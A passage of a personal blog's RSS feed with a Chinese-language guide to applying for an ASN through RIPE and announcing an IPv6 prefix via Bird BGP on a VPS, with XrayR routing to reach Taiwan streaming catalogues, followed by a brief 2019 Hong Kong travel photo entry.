</content:encoded></item><item><title>ASN Application | Use your own IP to access the Internet</title><link>https://missuo.me/posts/as206729/</link><guid isPermaLink="true">https://missuo.me/posts/as206729/</guid><description>A comprehensive guide to applying for an ASN (AS206729) through RIPE, setting up BGP sessions with VPS providers like BuyVM using Bird, and configuring XrayR for custom IP routing to unlock regional services like Netflix Taiwan.</description><pubDate>Mon, 04 Apr 2022 05:44:38 GMT</pubDate><content:encoded>&lt;h2&gt;ASN 是什么&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;自治系统(Autonomous System)，用通俗的语言来形容，就是一个互联网的独立王国，这一个个独立王国互联起来，就组成了互联网(Internet)。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;每个王国有自己独立的国号，以区别于别的王国，这个国号用自治系统号 ASN(Autonomous System Number)，ASN 由两个字节组成，理论上取值范围为 1-65535，末尾的 1024 个 ASN 是私有自治号，用于王国内部的下属郡国使用，不能外泄（类似私有 IP，如果不小心外泄，别人也会忽略)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;每一个互联网用户都置身于 AS 内，比如中国电信的 AS 号为 4809，那么中国电信的用户就置身于 4809 的独立王国，如果用户访问的服务器也是在这个 AS 内，那双向的流量都在王国里来回溜达。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;但如果服务器 IP 位于中国移动 AS 内，如何跨运营商访问呢？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;运营商之间会使用 BGP(Border Gateway Protocol)路由协议来交换各自的 lP 路由表，AS 号就是 BGP 协议用来辨识邻国的一个身份证，同时在交换的路由表信息里，会附上各自的 AS 号。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;既然中国电信通过 BGP 学习到中国移动的路由信息，就会把用户的访问请求转发给中国移动的边界路由器，既然 IP 包进入中国移动的地界，接下来就任由中国移动的设备来处理了，假设顺利到达服务器，回程检查客户 IP，发现是电信的 IP，就会转发到电信的边界路由器，并到达用户。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;h2&gt;我的 ASN 信息——AS206729&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402OuAhUS.jpg&quot; alt=&quot;20220402OuAhUS&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;AS206729 Prefixes v6&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;2401:95c0:f001::/48&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;AS206729 Peers v6&lt;/strong&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rank&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;IPv6&lt;/th&gt;
&lt;th&gt;Peer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;FranTech Solutions&lt;/td&gt;
&lt;td&gt;2401: 95c0: f001:: 1/128&lt;/td&gt;
&lt;td&gt;AS53667&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;更多详情，前往 &lt;a href=&quot;https://bgp.tools/as/206729&quot;&gt;BGP.TOOLS&lt;/a&gt; 查看。&lt;/h3&gt;
&lt;h2&gt;如何申请 ASN&lt;/h2&gt;
&lt;p&gt;一般情况下，需要寻找 &lt;code&gt;APNIC&lt;/code&gt; 或者 &lt;code&gt;RIPE&lt;/code&gt; 的会员来作为你的 &lt;code&gt;LIR&lt;/code&gt;。当然你也可以自己加入 &lt;code&gt;APNIC&lt;/code&gt; 或者 &lt;code&gt;RIPE&lt;/code&gt;，需要每年缴纳费用。&lt;/p&gt;
&lt;p&gt;我找的是台湾的一个朋友 &lt;code&gt;Hostinginside LTD(AS9678)&lt;/code&gt;，他作为我的 &lt;code&gt;LIR&lt;/code&gt;，申请的是 &lt;code&gt;RIPE&lt;/code&gt;。提供信息到签合同到补全信息，最后下号，花了不到一周的时间。&lt;code&gt;APNIC&lt;/code&gt; 可能没那么快。&lt;/p&gt;
&lt;h3&gt;RIPE 准备的材料&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;注册 &lt;code&gt;RIPE&lt;/code&gt; 账号，新建一些 &lt;code&gt;Database&lt;/code&gt; 的信息。&lt;/li&gt;
&lt;li&gt;你的护照照片&lt;/li&gt;
&lt;li&gt;你在欧洲拥有网络服务的证明（购买的订单截图、机房地址和管理员邮箱）&lt;/li&gt;
&lt;li&gt;ISP 愿意给你接入 BGP 的证明&lt;/li&gt;
&lt;li&gt;两个需要接入的 ASN&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;ASN 下号&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402qbALxU.jpg&quot; alt=&quot;20220402qbALxU&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;接入 BGP Session（以 BuyVM 为例，Vultr 类似）&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;发 &lt;code&gt;Ticket&lt;/code&gt; 告诉客服你的 ASN 号，客服一般会向该 ASN 的管理员邮箱发送一串随机字符串，需要在工单中回复，验证你是 ASN 的持有人。稍后，客服会在面板里面加入你的 ASN 和你的 IP 段。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402T4JgCU.png&quot; alt=&quot;20220402T4JgCU&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在你的 VPS 上安装 &lt;code&gt;bird&lt;/code&gt;。用于宣告你的 IP。&lt;/li&gt;
&lt;li&gt;修改 /etc/bird/bird6.conf 的配置文件&lt;/li&gt;
&lt;li&gt;修改配置中的 router id 改为自己的 IPv4 地址&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;router id 205.121.23.12;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;在文件的最后添加上&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol bgp vultr
{
  local as 你的 asn(开头不带 as);
  source address 实例的 ipv6;
  import none;
  export all;
  graceful restart on;
  multihop 2;
  neighbor 2001: 19f0: ffff:: 1 as 64515; #这个是服务器的 ip
  password &quot;在申请广播的时候设置的 bgp 密码&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;寻找到 protocol static（没有的话自己加一个）&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol static
{
  route  [v6 前缀] via [实例的 IPv6];
  #route  2001: 2333: 2333::/48 via 4096: 4096: 4096: 338: 5400: 01ff: fecf: 596c;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;找到 protocol direct&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;protocol direct
{
  interface &quot; dummy*&quot;;
  import all;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;配置虚拟网卡以及 ip 地址&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ip link add dev dummy1 type dummy # 添加虚拟网卡
ip link set dummy1 up
ip addr add dev dummy1 [前缀内的任意一个地址] # 添加地址
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;启动 bird6&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;service bird6 restart
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;查看状态&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;birdc6 show route
birdc6 show proto all
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;如果想要开机自启 在 &lt;code&gt;/etc/netplan&lt;/code&gt; 新增 &lt;code&gt;01.dummy.yaml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;network:
  version: 2
  renderer: networkd
  bridges:
    dummy0:
      dhcp4: no
      dhcp6: no
      accept-ra: no
      interfaces: [ ]
      addresses:
        - 2401: 95c0: f001:: 1/128 #你的 IP
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;配置 XrayR 的出站路由&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;domainStrategy&quot;: &quot;IPOnDemand&quot;,
    &quot;rules&quot;: [
        {
            &quot;type&quot;: &quot;field&quot;,
            &quot;outboundTag&quot;: &quot;block&quot;,
            &quot;ip&quot;: [
                &quot;geoip: private&quot;
            ]
        },
        {
            &quot;type&quot;: &quot;field&quot;,
            &quot;outboundTag&quot;: &quot;block&quot;,
            &quot;protocol&quot;: [
                &quot;bittorrent&quot;
            ]
        },
		# 指定域名走我自己的 IP
        {
            &quot;type&quot;: &quot;field&quot;,
            &quot;outboundTag&quot;: &quot;bgp_session&quot;,
            &quot;domain&quot;: [&quot;ipv6.ip.sb&quot;]
        },
		# Netflix 和 YouTube 走我自己的 IP
        {
            &quot;type&quot;: &quot;field&quot;,
            &quot;outboundTag&quot;: &quot;bgp_session&quot;,
            &quot;domain&quot;: [
                &quot;geosite: netflix&quot;,
                &quot;geosite: youtube&quot;
            ]
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;上网测试&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;http://IP.SB&quot;&gt;IP.SB&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402WVLK3S.png&quot; alt=&quot;20220402WVLK3S&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Netflix（解锁台湾 NF 所有片源）&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402MRa9zP.png&quot; alt=&quot;20220402MRa9zP&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;YouTube（支持 Premium TW）&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220402oAFKci.png&quot; alt=&quot;20220402oAFKci&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考文章&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://hex.moe/p/d6a20b99/&quot;&gt;年轻人的第一个私人 BGP(二) - 广播你的 IP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ni-co.moe/public/560.html&quot;&gt;IP 广播：使用 bird 广播(组播)ipv6&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>2019 Hong Kong Travel</title><link>https://missuo.me/posts/2019-hong-kong-travel/</link><guid isPermaLink="true">https://missuo.me/posts/2019-hong-kong-travel/</guid><description>A photo journal from a 2019 trip to Hong Kong, traveling by train from Jiaxing to Shenzhen and then by bus to Tuen Mun, staying at USA Hostel in Tsim Sha Tsui.</description><pubDate>Sun, 30 Jun 2019 07:30:46 GMT</pubDate><content:encoded>&lt;h2&gt;Transportation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Train T211(Jiaxing Railway Station - Shenzhen Railway Station)&lt;/li&gt;
&lt;li&gt;Bus B3X(Shenzhen Bay Port - Tuen Mun Town Centre)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Accommodation&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;USA Hostel
Mirador Mansion, 54-56B Nathan Rd, Tsim Sha Tsui, Hong Kong&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Photos&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://i.uid.si/img/20220404GungQY.jpg&quot; alt=&quot;20220404GungQY&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404BqkUBO.jpg&quot; alt=&quot;20220404BqkUBO&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/202204043kzvcF.jpg&quot; alt=&quot;202204043kzvcF&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404w0ByDl.jpg&quot; alt=&quot;20220404w0ByDl&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404xxc7wB.jpg&quot; alt=&quot;20220404xxc7wB&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404l0AqoR.jpg&quot; alt=&quot;20220404l0AqoR&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404b55pO8.jpg&quot; alt=&quot;20220404b55pO8&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404G33Ynq.jpg&quot; alt=&quot;20220404G33Ynq&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/202204041cCGL5.jpg&quot; alt=&quot;202204041cCGL5&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404hzNLgr.jpg&quot; alt=&quot;20220404hzNLgr&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404tMcTzi.jpg&quot; alt=&quot;20220404tMcTzi&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404CuLOJu.jpg&quot; alt=&quot;20220404CuLOJu&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404GHD7uq.jpg&quot; alt=&quot;20220404GHD7uq&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404fcfSgj.jpg&quot; alt=&quot;20220404fcfSgj&quot; /&gt;
&lt;img src=&quot;https://i.uid.si/img/20220404Dm0gOT.jpg&quot; alt=&quot;20220404Dm0gOT&quot; /&gt;&lt;/p&gt;
</content:encoded></item></channel></rss>